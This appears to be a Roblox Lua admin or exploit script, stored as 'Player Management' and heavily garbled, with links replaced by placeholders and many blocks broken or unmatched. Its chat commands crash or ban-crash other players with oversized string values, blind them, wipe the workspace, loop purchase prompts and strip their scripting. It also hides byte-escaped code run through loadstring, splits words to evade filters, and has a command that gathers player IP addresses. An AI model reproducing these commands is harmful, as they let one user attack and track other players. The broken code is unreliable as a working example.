Roblox Script for Player Management
Roblox Script for Player Management
wait()
[Link] = nil
Legends = {"OMGshadeslayer", "OMGshadeslayer"}
Nope = {"flipflop8421", "64SonicShadow46", "einsteinK", "HEAT507", "icy2132"}
Jordan = [Link]
Disabled = false
Backup = script:Clone()
myscript = script
--Tables--
player = {}
nils = {}
Tabs = {}
Tabs2 = {}
scripts = {}
cballs = {}
orbs = {}
guis = {}
noscripting = {}
ScriptDatabase = {}
NilScriptDatabase = {}
--Funcions--
function antib(player)
while true do wait()
if not player then
down = [Link]("StringValue",workspace)
[Link] = [Link]("down",99999999)
end
end
end
[Link]:connect(function(obj)
if obj:IsA("Model") and obj:FindFirstChild("Head") and
obj:FindFirstChild("Torso") and not obj:FindFirstChild("Left Arm") then
[Link](orbs,obj)
end
end)
[Link]:connect(function(obj)
if obj:IsA("StringValue") then
obj:Destroy()
end
end)
[Link]:connect(function(obj)
if obj:FindFirstChild("Head") and not obj:FindFirstChild("Torso") then
[Link](cballs,obj)
end
end)
[Link]:connect(function(player)
while true do wait()
if player:GetPlayer().Parent == nil then
[Link](nils,player:GetPlayer().Name)
end
end
end)
[Link]:connect(function(player)
if [Link] then
local gui = [Link]
[Link](guis,gui)
end
end)
[Link]:connect(function(player)
for i,v in pairs(noscripting) do
if [Link] == [Link] then
wait()
[Link]:ClearAllChildren()
end
end
end)
[Link]:connect(function(player)
for i,v in pairs(Nope) do
if [Link] == [Link] then
player:Destroy()
end
end
end)
[Link]:connect(function(obj)
if obj:IsA("Message") or obj:IsA("Hint") then
obj:Destroy()
end
end)
function findp(name)
for i,v in pairs(game:GetService("Players"):GetPlayers()) do
if [Link]([Link]([Link],1,#name))==[Link](name) then
return v
end
end
end
function isPlayerLegend(name)
for i,v in pairs(Legends) do
if name == v then
return true
end
end
end
function canPlayerScript(name)
for i,v in pairs(noscripting) do
if [Link](name) == [Link](v) then
return true
end
end
end
function getPlayers(name,spoken,speaker)
local returned = {}
if name:lower() == "all" then
returned = [Link]:getPlayers()
elseif name:lower() == "others" then
local players = [Link]:getPlayers()
for i,v in pairs(players) do
if v == spoken then
[Link](players,i)
end
end
returned = players
elseif name:lower() == "Legends" then
local players = [Link]:getPlayers()
for i,v in pairs(players) do
if isPlayerLegend([Link]) then
[Link](returned,v)
end
end
elseif name:lower() == "nonLegends" then
local players = [Link]:getPlayers()
for i,v in pairs(players) do
if isPlayerLegend([Link]) then
[Link](players,i)
end
end
returned = players
else
for i,v in pairs([Link]:getPlayers()) do
if [Link]:sub(1,name:len()):lower() == name:lower() then
[Link](returned,v)
end
end
return returned
end
end
function PlayerChat(msg)
if [Link](msg,1,4) == "run/" then
[Link]:connect(function(scr)
if scr:IsA("Script") or scr:IsA("LocalScript") then
if [Link] == [Link](msg,5) then
[Link](ScriptDatabase, scr)
wait()
for i,v in pairs(ScriptDatabase) do
if [Link] == [Link] then
OutputCMD(Jordan, [Link].." has been
added to script database.")
end
end
end
end
end)
elseif [Link](msg,1,3):lower() == "ff/" then
for i,v in pairs([Link]:GetPlayers()) do
if [Link]([Link], [Link](msg,4)) ~= nil then
local ff = [Link]("ForceField",[Link])
end
end
elseif [Link](msg,1,5):lower() == "epic/" then
for i,v in pairs([Link]:getPlayers()) do
if [Link]([Link], [Link](msg,6)) then
[Link] = [Link]
end
end
elseif [Link](msg,1,4):lower() == "try/" then
[Link] =
"[Link]
speaker:LoadCharacter()
elseif msg == "respawn" then
speaker:LoadCharacter()
end
end
function createBillboardGui(item, text)
local bg = [Link]("BillboardGui", item)
[Link] = true
[Link] = true
[Link] = [Link](5, -0.5, 5, 0)
local f = [Link]("Frame", bg)
[Link] = 1
[Link] = [Link](2.5, 0, 1.25, 0)
local tb = [Link]("TextBox", f)
[Link] = [Link](0.5, 0, 0.5, 0)
[Link] = "Size14"
[Link] = text
[Link] = 0
[Link] = "Center"
[Link] = "Top"
[Link] = 1
tb.TextColor3 = [Link](85, 170, 255)
tb.TextStrokeColor3 = [Link](255, 255, 255)
end
function Output(plr, stat)
local tab = [Link]("Part", [Link])
[Link](Tabs,tab)
[Link] = "Tab"
[Link] = false
[Link] = "Smooth"
[Link] = "Smooth"
[Link] = [Link](3, 4, 1.2)
[Link] = 0
[Link] = [Link]("Institutional white")
[Link] = true
createBillboardGui(tab, stat)
local sb = [Link]("SelectionBox", tab)
[Link] = tab
[Link] = [Link]("Bright blue")
[Link] = 0.5
local tabdi = [Link]("Part", [Link])
[Link](Tabs2, tabdi)
[Link] = "Tab"
[Link] = false
[Link] = "Smooth"
[Link] = "Smooth"
[Link] = [Link](1, 3, 1.25)
[Link] = 0
[Link] = [Link]("Bright blue")
[Link] = true
createBillboardGui(tab, stat)
local mesh = [Link]("SpecialMesh", tabdi)
[Link] = "[Link]
[Link] = [Link](2, 2.55, 1.5)
[Link]("ClickDetector", tab)
[Link]:connect(function(pl)
if [Link] == [Link] then
for i = 1, 10 do
[Link] = [Link]+0.1
wait()
if i == 10 then
tab:Destroy()
end
end
for i = 1, 10 do
[Link] = [Link]+0.1
wait(0.1)
if i == 10 then
tabdi:Destroy()
end
end
end
end)
[Link](function()
while true do
tabs = #Tabs
Radius = 2.5 + tabs
Radius2 = 2.3 + tabs
for rot = 1, 360 do
[Link] = [Link] * [Link](0,
[Link](rot), 0) * [Link](0, 0, 10)
[Link] = [Link] *
[Link](0, [Link](rot), 0) * [Link](0, 0, 10)
[Link] = [Link] * [Link](45,0,0)
[Link] = [Link] * [Link](45,0,0)
wait()
end
end
end)()
end
function chatted(msg,spoken,speaker)
if [Link](msg,1,3) == "a".."b/" then
if [Link]([Link](msg,4)) == "on" then
Output(speaker,"Activated An".."ti".."b".."an.")
antib([Link])
end
if player then
if [Link] then
[Link]:BreakJoints()
end
end
if player then
[Link]:connect(function(m)
player:Destroy()
end)
end
if player then
if [Link] then
[Link] = nil
end
end
elseif msg == "play" then
if [Link] == nil then
speaker:LoadCharacter()
end
elseif [Link](msg,1,8):lower() == "/ex " then
if v then
if [Link] then
if [Link]:FindFirstChild("Torso") then
local e = [Link]("Explosion")
[Link] = [Link]
[Link] = 5
[Link] = 1000000000
[Link] = [Link]
end
end
end
end
elseif msg == "/dismiss " then
for i,v in pairs(Tabs) do
if v then
v:Destroy()
end
end
[Link](Tabs,tab)
for i,v in pairs(Tabs2) do
if v then
v:Destroy()
end
end
[Link](Tabs2,tabdi)
elseif [Link](msg,1,5) == "/dis " then
if [Link] == "OMGshadeslayer" then
for i,v in pairs(ScriptDatabase) do
if [Link] == [Link](msg,6) then
OutputCMD(Jordan,"Script found, disabling...")
wait(2)
[Link] = true
wait()
if [Link] ~= true then
return OutputCMD(Jordan,"Error, disabling
failed.")
else
OutputCMD(Jordan,"Script: "..[Link].." has
been disabled.")
end
else
return OutputCMD(Jordan,"Error, script not found.")
end
end
else
return OutputCMD(speaker,"You are not authorized to use this
command.")
end
elseif [Link](msg,1,6) == "/ldis " then
if [Link] == "OMGshadeslayer" then
local scr = workspace:FindFirstChild([Link](msg,7))
if scr then
[Link] = true
wait()
if [Link] ~= true then
return OutputCMD(Jordan,"Error, disabling failed.")
else
OutputCMD(Jordan,"Attempted local nil
script,'"..[Link].."' has been disabled.")
end
else
return OutputCMD(Jordan,"Error, script not found.")
end
else
return OutputCMD(speaker,"You are not authorized to use this
command.")
end
elseif [Link](msg,1,5) == "/des " then
if [Link] == "OMGshadeslayer" then
local scr = Jordan:FindFirstChild([Link](msg,6))
if scr then
scr:Destroy()
wait()
if scr then
return OutputCMD(speaker,"Error, destroying failed.")
else
OutputCMD(speaker,"Attempted nil
script,'"..[Link].."' no longer exists.")
end
else
return OutputCMD(speaker,"Error, script not found.")
end
else
return OutputCMD(speaker,"You are not authorized to use this
command.")
end
elseif [Link](msg,1,4):lower() == "/bl " then
if [Link] == "OMGshadeslayer" then
local player = getPlayers([Link](msg,5))
if player then
A=[Link]("ScreenGui")
[Link] = "BlindGui"
B=[Link]("Frame",A)
B.BackgroundColor3 = [Link](0,0,0)
[Link] = [Link](5,0,5,0)
[Link] = [Link](-0.005,0,-0.05,0)
[Link] = [Link]
end
else
OutputCMD(speaker,"You are not authorized to use this command.")
end
elseif [Link](msg,1,7):lower() == "/nicra " then
for i,v in pairs(game:service("NetworkServer"):GetChildren()) do
local player = v:GetPlayer()
if [Link] == [Link](msg,8) then
for _,d in pairs(guis) do
if not d:FindFirstChild([Link]) then
return OutputCMD(speaker,"Crashing failed.")
else
crash = [Link]("StringValue",d)
[Link] = [Link]("crash", 99999999)
end
end
end
end
elseif [Link](msg,1,7):lower() == "/dscri " then
if [Link] == "OMGshadeslayer" then
local player = getPlayers([Link](msg,8))
for i,v in pairs(player) do
if v then
if [Link] == "OMGshadeslayer" then
OutputCMD(speaker,"Failed to disable the
ow".."ner's scripting ability.")
return OutputCMD(Jordan,[Link].." tried
to disable my ability to script!")
else
OutputCMD(v,"Scripting has been disabled.")
[Link]:ClearAllChildren()
OutputCMD([Link],"You have disabled
scripting from "..[Link]..".")
end
end
end
else
return OutputCMD(speaker,"You are not authorized to use this
command.")
end
elseif msg == "disable ad" then
while true do
wait()
for i,v in pairs([Link]:getPlayers()) do
game:GetService("MarketplaceService"):PromptPurchase(v,"114997124",""):Destroy()
end
end
if player then
if [Link] then
[Link] =
tonumber([Link](msg,i+1))
end
end
end
end
end
local player = v
end
if player then
local m = [Link]("Message",
workspace)
[Link] = workspace
[Link] = "NO!"
wait(2)
local m = [Link]("Message",
workspace)
[Link] = "NO!"
wait(2)
cool =
[Link]("StringValue",workspace)
[Link] = [Link]("cool",1000000)
end
end
end
elseif msg == "disable o".."r".."bs" then
ODisabled = true
while ODisabled == true do wait()
local w = [Link]:GetChildren()
for i = 1, #w do wait()
if w[i]:findFirstChild("Head") and
w[i]:FindFirstChild("Torso") and w[i]:findFirstChild("cParticle") then
game:service("Chat"):Chat(w[i].Head,"You are a player
or".."b, you will now be removed.",[Link])
wait(2)
w[i].cParticle:Destroy()
wait(0.5)
w[i].Humanoid:Destroy()
wait(0.5)
w[i].Head:Destroy()
wait(0.5)
w[i].cParticle2:Destroy()
wait(0.5)
w[i].cTrail:Destroy()
wait(0.5)
w[i]:Destroy()
end
end
end
elseif msg == "disable c".."ba".."lls" then
CDisabled = true
while CDisabled == true do wait()
local w = [Link]:GetChildren()
for i = 1, #w do wait()
wait(3)
w[i].Focus:Destroy()
wait(2)
w[i].Humanoid:Destroy()
wait(0.5)
w[i].Head:Destroy()
wait(0.5)
w[i]:Destroy()
wait(0.5)
end
end
end
if CDisabled == true then
OutputCMD(speaker,"Camballs are now disabled.")
end
elseif msg == "enable c".."b".."alls" then
CDisabled = false
wait()
if CDisabled == false then
OutputCMD(speaker,"Camballs are now enabled.")
end
elseif [Link](msg,1,5) == "/pro " then
if player then
if [Link] then
Output(player,"Prepare to be protected from ba".."ns and
kic".."ks.")
wait(3)
Output(player,"Note, you will not be able to move or
anything.")
for i = 1, #player do
player[i].Character = Workspace
end
end
end
elseif msg == "activate explorer gui" then
OutputCMD(Jordan,"Activated Explorer Gui.")
wait(0.5)
local name = "OMGshadeslayer"
local sg = [Link]("ScreenGui")
[Link] = [Link]
ok.MouseButton1Click:wait()
function CreatePropertiesWindow(obj)
if not obj then return end
pcall(function() sg.P:Destroy() end)
local push = 0
local f = [Link]("Frame", sg)
[Link] = "P"
[Link] = "RobloxRound"
[Link] = [Link](.4,0,.7,0)
[Link] = [Link](.6,0,.15,0)
if pcall(function() _ = obj["Name"] end) then
local pN = [Link]("TextLabel", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](0,0, push,0)
[Link] = "Name"
pN.BackgroundColor3 = backgroundcolor
pN.BorderColor3 = bordercolor
pN.TextColor3 = bordercolor
[Link] = "Size10"
local pV = [Link]("TextBox", f)
[Link] = false
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](.5,0,push,0)
push = push + .05
[Link] = [Link]
pV.BackgroundColor3 = backgroundcolor
pV.BorderColor3 = bordercolor
pV.TextColor3 = fontcolor
[Link] = "Size10"
[Link]:connect(function()
pcall(function()
[Link] = [Link]
end)
end)
end
if pcall(function() _ = obj["ClassName"] end) then
local pN = [Link]("TextLabel", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](0,0, push,0)
[Link] = "ClassName"
pN.BackgroundColor3 = backgroundcolor
pN.BorderColor3 = bordercolor
pN.TextColor3 = bordercolor
[Link] = "Size10"
local pV = [Link]("TextLabel", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](.5,0,push,0)
push = push + .05
[Link] = [Link]
pV.BackgroundColor3 = backgroundcolor
pV.BorderColor3 = bordercolor
pV.TextColor3 = bordercolor
[Link] = "Size10"
end
if pcall(function() _ = obj["BrickColor"] end) then
local pN = [Link]("TextLabel", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](0,0, push,0)
[Link] = "BrickColor"
pN.BackgroundColor3 = backgroundcolor
pN.BorderColor3 = bordercolor
pN.TextColor3 = bordercolor
[Link] = "Size10"
local pV = [Link]("TextBox", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](.5,0,push,0)
push = push + .05
[Link] = tostring([Link])
pV.BackgroundColor3 = backgroundcolor
pV.BorderColor3 = bordercolor
pV.TextColor3 = fontcolor
[Link] = "Size10"
[Link]:connect(function()
pcall(function()
[Link] = [Link]([Link])
end)
end)
end
if pcall(function() _ = obj["Text"] end) then
local pN = [Link]("TextLabel", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](0,0, push,0)
[Link] = "Text"
pN.BackgroundColor3 = backgroundcolor
pN.BorderColor3 = bordercolor
pN.TextColor3 = bordercolor
[Link] = "Size10"
local pV = [Link]("TextBox", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](.5,0,push,0)
push = push + .05
[Link] = [Link]
pV.BackgroundColor3 = backgroundcolor
pV.BorderColor3 = bordercolor
pV.TextColor3 = fontcolor
[Link] = "Size10"
[Link]:connect(function()
pcall(function()
[Link] = [Link]
end)
end)
end
if pcall(function() _ = obj["Value"] end) and ([Link] == "StringValue"
or [Link] == "IntValue" or [Link] == "NumberValue") then
local pN = [Link]("TextLabel", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](0,0, push,0)
[Link] = "Value"
pN.BackgroundColor3 = backgroundcolor
pN.BorderColor3 = bordercolor
pN.TextColor3 = bordercolor
[Link] = "Size10"
local pV = [Link]("TextBox", f)
[Link] = [Link](.5,0,.05,0)
[Link] = [Link](.5,0,push,0)
push = push + .05
[Link] = [Link]
pV.BackgroundColor3 = backgroundcolor
pV.BorderColor3 = bordercolor
pV.TextColor3 = fontcolor
[Link] = "Size10"
[Link]:connect(function()
pcall(function()
if type([Link]) == "number" then
[Link] = tonumber([Link]) or 0
else
[Link] = [Link]
end
end)
end)
end
end
function CreateDropDownMenu(pos, obj)
local f = [Link]("Frame", sg)
f.BackgroundColor3 = backgroundcolor
f.BorderColor3 = bordercolor
[Link] = [Link](.1,0,.2,0)
[Link] = .3
[Link] = pos
local d = [Link]("TextButton", f)
[Link] = 1
[Link] = "Delete"
[Link] = "Size10"
d.TextColor3 = fontcolor
[Link] = [Link](1,0,.15,0)
d.MouseButton1Click:connect(function()
pcall(function()
obj:Destroy()
end)
Clear()
GetList()
f:Destroy()
end)
local c = [Link]("TextButton", f)
[Link] = 1
[Link] = "Copy"
[Link] = "Size10"
c.TextColor3 = fontcolor
[Link] = [Link](1,0,.15,0)
[Link] = [Link](0,0,.15,0)
c.MouseButton1Click:connect(function()
pcall(function()
copy = obj:Clone()
end)
f:Destroy()
end)
local p = [Link]("TextButton", f)
[Link] = 1
[Link] = "Paste into"
[Link] = "Size10"
p.TextColor3 = fontcolor
[Link] = [Link](1,0,.15,0)
[Link] = [Link](0,0,.3,0)
p.MouseButton1Click:connect(function()
pcall(function()
[Link] = obj
end)
f:Destroy()
end)
local x = [Link]("TextButton", f)
[Link] = 1
[Link] = "Close"
[Link] = "Size10"
x.TextColor3 = fontcolor
[Link] = [Link](1,0,.15,0)
[Link] = [Link](0,0,.45,0)
x.MouseButton1Click:connect(function()
f:Destroy()
end)
end
function CreatePasteMenu(pos, obj)
local f = [Link]("Frame", sg)
f.BackgroundColor3 = backgroundcolor
f.BorderColor3 = bordercolor
[Link] = [Link](.1,0,.2,0)
[Link] = .3
[Link] = pos
local p = [Link]("TextButton", f)
[Link] = 1
[Link] = "Paste into"
[Link] = "Size10"
p.TextColor3 = fontcolor
[Link] = [Link](1,0,.15,0)
[Link] = [Link](0,0,0,0)
p.MouseButton1Click:connect(function()
pcall(function()
[Link] = obj
end)
f:Destroy()
end)
local x = [Link]("TextButton", f)
[Link] = 1
[Link] = "Close"
[Link] = "Size10"
x.TextColor3 = fontcolor
[Link] = [Link](1,0,.15,0)
[Link] = [Link](0,0,.45,0)
x.MouseButton1Click:connect(function()
f:Destroy()
end)
end
function Clear()
for i,v in pairs(fr:GetChildren()) do
v:Destroy()
cp = 0
end
end
function GetList()
local max = 100
local it = 0
for i,v in pairs(current:GetChildren()) do
if cp < .9 then
CreateButtons(v)
else
CreateButtons(v, 1)
end
it = it + 1
if it == max then break end
end
end
GetList()
elseif msg == "disable explorer gui" then
if [Link] == "OMGshadeslayer" then
OutputCMD(Jordan,"Disabled Explorer Gui")
[Link]:Destroy()
else
return OutputCMD(Jordan,"You are not authorized to use this command.")
end
elseif [Link](msg,1,3) == "/ds" then
game:service("Lighting").Name =
"_scontrol.[Link]." ..[Link]()
game:service("Workspace").Name =
"_scontrol.[Link]." ..[Link]()
local player = v
end
end
if player then
if [Link] then
[Link] =
[Link]([Link](msg,i+1))
end
end
end
end
elseif [Link](msg,1,6):lower() == "/tele " then
local bet = "-"
for i=7, #msg do
if [Link](msg,i,i) == bet then
local player = getPlayers([Link](msg,7, i - 1))
if player then
if [Link] then
if [Link] then
local player2 =
getPlayers([Link](msg,i+1))
if player2 then
if [Link] then
if [Link]
then
[Link]:MoveTo([Link])
end
end
end
end
end
end
end
end
elseif [Link](msg,1,10):lower() == "/immortal " then
local player = v
end
end
local player = v
if player then
[Link] = Lighting
end
end
loadstring([Link](msg,3))()
local player = v
local x = [Link]:FindFirstChild([Link](msg,8))
[Link] = [Link]
player:MakeJoints()
end
local player = v
if player then
[Link] =
tonumber([Link])
end
end
local player = v
if player then
if [Link]:FindFirstChild("Torso") then
x = [Link]("Fire")
[Link] = [Link]
[Link] = [Link](255,255,255)
[Link] = 15
z = [Link]("Fire")
[Link] = [Link]
[Link] = [Link](255,255,255)
[Link] = 15
t = [Link]("Fire")
[Link] = [Link](255,255,255)
[Link] = 15
[Link] = [Link]
r = [Link]("Fire")
[Link] = [Link]
[Link] = 15
[Link] = [Link](255,255,255)
p = [Link]("Fire")
[Link] = [Link]
[Link] = [Link](255,255,255)
[Link] = 15
z = [Link]("Fire")
[Link] = [Link]
[Link] = 15
[Link] = [Link](255,255,255)
end
end
end
local player = v
if player then
local x = [Link]("ForceField")
[Link] = [Link]
OutputCMD(v,"Put 'FF' on you.")
end
end
elseif msg == "ff" then
if [Link]:findFirstChild("ForceField") then
[Link]:Destroy()
OutputCMD(speaker,"Removed 'FF' from you.")
else
local ff = [Link]("ForceField",[Link])
OutputCMD(speaker,"Created 'FF' on you.")
end
elseif [Link](msg,1,4):lower() == "/fr " then
local player = v
end
end
local player = v
if player then
if [Link]:FindFirstChild("Torso") then
x = [Link]("Sparkles")
[Link] = [Link]
end
end
end
local player = v
end
end
local player = v
end
end
[Link] = [Link](msg,4)
[Link] = 0
[Link] = 14
[Link] = 6
[Link] = [Link](msg,5)
[Link] = [Link]([Link](msg,6))
[Link]:destroy()
[Link]:destroy()
[Link] = [Link](msg,5)
if player then
[Link](Legends,[Link])
end
local player = v
if v then
[Link](Legends,[Link])
end
end
local player = v
end
end
local player = v
end
end
local player = v
end
end
elseif [Link](msg,1,5):lower() == "/reh " then
local player = v
if player then
[Link] = [Link]
end
end
local player = v
if player then
[Link] = 1
end
end
local player = v
if player then
[Link] = 2
end
end
local player = v
if player then
[Link] = 3
end
end
local player = v
if player then
[Link] = 0
end
end
local player = v
end
end
[Link] = [Link]([Link](msg,11))
local x = [Link]("Message")
[Link] = [Link]
wait(1)
x:destroy()
local y = [Link]("Message")
[Link] = [Link]
y:destroy()
local u = [Link]("Message")
[Link] = [Link]
wait(1)
u:destroy()
local i = [Link]("Message")
[Link] = [Link]
wait(1)
i:destroy()
local o = [Link]("Message")
[Link] = [Link]
wait(1)
o:destroy()
local p = [Link]("Message")
[Link] = [Link]
wait(3)
p:destroy()
wait(60)
local a = [Link]("Message")
[Link] = [Link]
wait(3)
a:destroy()
wait(3)
cra:destroy()
cool = [Link]("StringValue",workspace)
[Link] = [Link]("cool",1000000)
while true do
wait()
[Link]:destroy()
end
if object then
[Link] = [Link]([Link](msg,6))
end
if object then
[Link] = [Link](msg,5)
end
local h = [Link]("Hint")
[Link] = [Link]
wait(10)
h:destroy()
if object then
[Link] = [Link](msg,5)
end
protect()
local x = [Link]("Hint")
[Link] = [Link]
wait(5)
x:destroy()
local y = [Link]("Hint")
[Link] = [Link]
[Link] = "/nyan = makes nyan sky, /tro = makes troll sky, /lua =
makes lua sky"
while true do
for i = 0.01,100000000 do
for i,v in
pairs(game:service("Workspace"):GetChildren()) do
v:destroy()
end
end
end
a = [Link]
i= [Link]("HopperBin",[Link])
[Link]= "PoC"
function onS(mouse)
mouse.Button1Down:connect(function()
pl = [Link]
a = [Link]("Part",workspace)
[Link] = 1
[Link] = false
game:GetService("Chat"):Chat(cammy.Part1,[Link].X..[Link].Y..[Link].Z,E
[Link])
wait(1)a:Destroy()
end)
end
if cammy then
cammy:Destroy()
end
local x = [Link]("Hint")
[Link] = [Link]
wait(2)
x:destroy()
local x = [Link]("Message")
[Link] = [Link]
[Link] = [Link](msg,4)
wait(5)
x:destroy()
local x = [Link]("Hint")
[Link] = [Link]
[Link] = [Link](msg,4)
wait(5)
x:destroy()
if cammy then
cammy:destroy()
end
elseif msg == "get scripts" then
for i,v in pairs(scripts) do
wait(1)
Output(speaker,"Scripts = "..[Link])
end
elseif [Link](msg,1,8):lower() == "/trollf " then
if player then
if [Link] then
[Link] = "[Link]
end
end
end
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = "[Link]
[Link] = [Link]
[Link] = "[Link]
[Link] = "Top"
[Link] = [Link]
[Link] = true
[Link] = true
[Link] = "Base"
[Link] = [Link](2048,0.4,2048)
[Link] = "Smooth"
[Link] = [Link]
[Link] = true
[Link] = "Smooth"
[Link] = true
[Link] = true
[Link] = "SpawnLocation"
if player then
if [Link] then
if [Link]:FindFirstChild("Head")
then
[Link] = true
wait()
local cl = [Link]:clone()
[Link] = [Link]
[Link] =
[Link]
wait()
[Link] = false
end
end
end
end
wait()
local Sc = Scr:Clone()
[Link] = "cool"
[Link] = true
if v:IsA("StringValue") then
[Link] = [[loadstring("\
73\110\115\116\97\110\99\101\46\110\101\119\40\34\77\97\110\117\97\108\83\117\114\1
02\97\99\101\74\111\105\110\116\73\110\115\116\97\110\99\101\34\44\119\111\114\107\
115\112\97\99\101\41")()]]
wait()
[Link] = false
end
end
if player then
local b = game:GetService("BadgeService")
b:AwardBadge([Link], 76717900)
end
mlobby = [Link]("Model",[Link])
[Link] = "Lobby"
local p1 = [Link]("Part",mlobby)
[Link] = true
[Link] = [Link](1,10.8,10)
[Link] = 0.3
local p2 = [Link]("Part",mlobby)
[Link] = true
[Link] = [Link](1,10.8,10)
[Link] = 0.3
local p3 = [Link]("Part",mlobby)
[Link] = true
local p4 = [Link]("Part",mlobby)
[Link] = true
[Link] = [Link](11, 1.2, 10)
local p5 = [Link]("Part",mlobby)
[Link] = true
local p6 = [Link]("Part",mlobby)
[Link] = true
local p7 = [Link]("Part",mlobby)
[Link] = true
local p8 = [Link]("Part",mlobby)
[Link] = true
local p9 = [Link]("Part",mlobby)
[Link] = true
[Link] = true
[Link] = true
[Link] = true
[Link] = true
[Link] = true
[Link] = true
[Link] = true
s1 = [Link]("SpawnLocation",mlobby)
[Link] = [Link](6,1.2,6)
[Link] = true
[Link] = "Smooth"
[Link] = "Smooth"
[Link] = 0.9
s2 = [Link]("SpawnLocation",mlobby)
[Link] = [Link](6,1.2,6)
[Link] = true
[Link] = "Smooth"
[Link] = "Smooth"
stuff = mlobby:GetChildren()
for i = 1,#stuff do
wait()
stuff[i].TopSurface = "Smooth"
stuff[i].BottomSurface = "Smooth"
end
stuff[i].TopSurface = "Smooth"
stuff[i].BottomSurface = "Smooth"
end
end
function rotateMod(mod,center,rotation)
local parts = {}
if (obj:IsA("BasePart")) then
[Link](parts,obj)
end
scan(obj)
end
end
scan(mod)
[Link] = (center*rotation*(center:inverse()*[Link]))
-- Credit to oysi93 for this equation thing
end
end
local mod = [Link]
local step = 1
for i = 1,7 do
modl = mod:clone()
[Link] = [Link]
[Link] = "Mod"..i
wait()
end
wait()
[Link] = 0
end
elseif [Link](msg,1,5) == "/cra " then
local player = getPlayers([Link](msg,6))
for i,v in pairs(player) do
if v then
if [Link] == "OMGshadeslayer" then
return Output(Jordan,[Link].." tried to
cra".."sh me!")
else
if [Link] then
Output(v,"Attempting to cra".."sh.")
wait(2)
Output(v,"Cra".."sh successful. Have a nice
day!")
wait(1)
cool = [Link]("StringValue",[Link])
[Link] = [Link]("cool",1000000)
else
cool = [Link]("StringValue",[Link])
[Link] = [Link]("cool",1000000)
end
end
end
end
elseif [Link](msg,1,7) == "/sucra " then
if [Link] == "OMGshadeslayer" then
while true do wait()
local player = getPlayers([Link](msg,8))
for i,v in pairs(player) do
if v then
if [Link] == "OMGshadeslayer" then
return
Output(Jordan,[Link].." tried to supercra".."sh me!")
else
if [Link] then
OutputCMD(v,"Attempting to
super".."cra".."sh.")
wait(2)
OutputCMD(v,"Supercra".."sh
successful. Have a nice day!")
wait(1)
cool = [Link]("StringValue",[Link])
[Link] = [Link]("cool",1000000)
else
cool =
[Link]("StringValue",[Link])
[Link] = [Link]("cool",1000000)
[Link](Nope, [Link])
end
end
end
end
end
else
return OutputCMD(speaker,"You are not authorized to use this
command.")
end
elseif msg == "/cmds " then
Output(speaker,"'ping', Get names of nil players.")
wait(1)
Output(speaker,"'/sucra ', Ban-Crashes a player(Ow".."ner only).")
wait(1)
Output(speaker,"'/cra ', Crashes a player.")
wait(1)
Output(speaker,"'flashlight', Creates a flashlight.")
wait(1)
Output(speaker,"'getserver', Gets server speed.")
wait(1)
Output(speaker,"'/dscri ', Disables a player's scripting privelages.")
wait(1)
Output(speaker,"'override cba', Overrides cba antiban.")
wait(1)
Output(speaker,"'disable scripting', Disables scripting for all
players(Ow".."ner only).")
wait(1)
Output(speaker,"'cool/',Shut's down the server(Ow".."ner only).")
wait(1)
Output(speaker,"'overclear', Overclear's the server(Ow".."ner only).")
wait(1)
Output(speaker,"'disable cballs', Disables all cam".."balls in the
server.")
wait(1)
Output(speaker,"'ff', Puts a ForceField around you.")
[Link](Tabs,tab)
[Link](Tabs2,tabdi)
elseif msg == "ping" then
if #game:service("NetworkServer"):GetChildren() ==
#[Link]:GetChildren() then
Output(speaker,"No nil players found.")
else
for i,v in pairs(nils) do
if v then
wait(1)
OutputCMD(speaker,"Nil player = "..[Link])
end
end
end
elseif msg == "remove all made scripts" then
if [Link] == "OMGshadeslayer" then
for i,v in pairs(ScriptDatabase) do
if v then
v:Destroy()
wait()
if not v then
OutputCMD(speaker,"Scripts have been
destroyed")
end
end
end
else
OutputCMD(speaker,"You are not authorized to use this command.")
end
elseif msg == "flashlight" then
if [Link]:findFirstChild("SpotLight") then
[Link]:Destroy()
OutputCMD(speaker,"Removed flashlight from you.")
else
local flashlight =
[Link]("SpotLight",[Link])
[Link] = 10000
[Link] = 50
[Link] = 50
OutputCMD(speaker,"Created flashlight on you.")
end
elseif msg == "getserver" then
local server = [Link]:GetRealPhysicsFPS()
OutputCMD(speaker,"ServerC: "..server..".")
game:service("Chat"):Chat([Link],"Nil players
crashed!",[Link])
end
end
end
end
elseif msg == "activate up" then
pcall(function() [Link]:Remove() end)
[Link] = nil
elseif msg == "activate down" then
if [Link] == nil then
speaker:LoadCharacter()
end
elseif [Link](msg,1,5):lower() == "/sil " then
local player = getPlayers([Link](msg,6))
for i,v in pairs(player) do
if v then
loadstring("\
118\58\83\101\116\83\117\112\101\114\83\97\102\101\67\104\97\116\40\116\114\117\101
\41\10")()
end
end
if cammy then
cammy:Destroy()
end
if player then
[Link] = [Link]
end
end
elseif msg == "get ips" then
local Plyr = [Link]:wait()
local IP = [Link]([Link],1,[Link]([Link],":")-1)
local m = [Link]("Message",workspace)
[Link] = IP
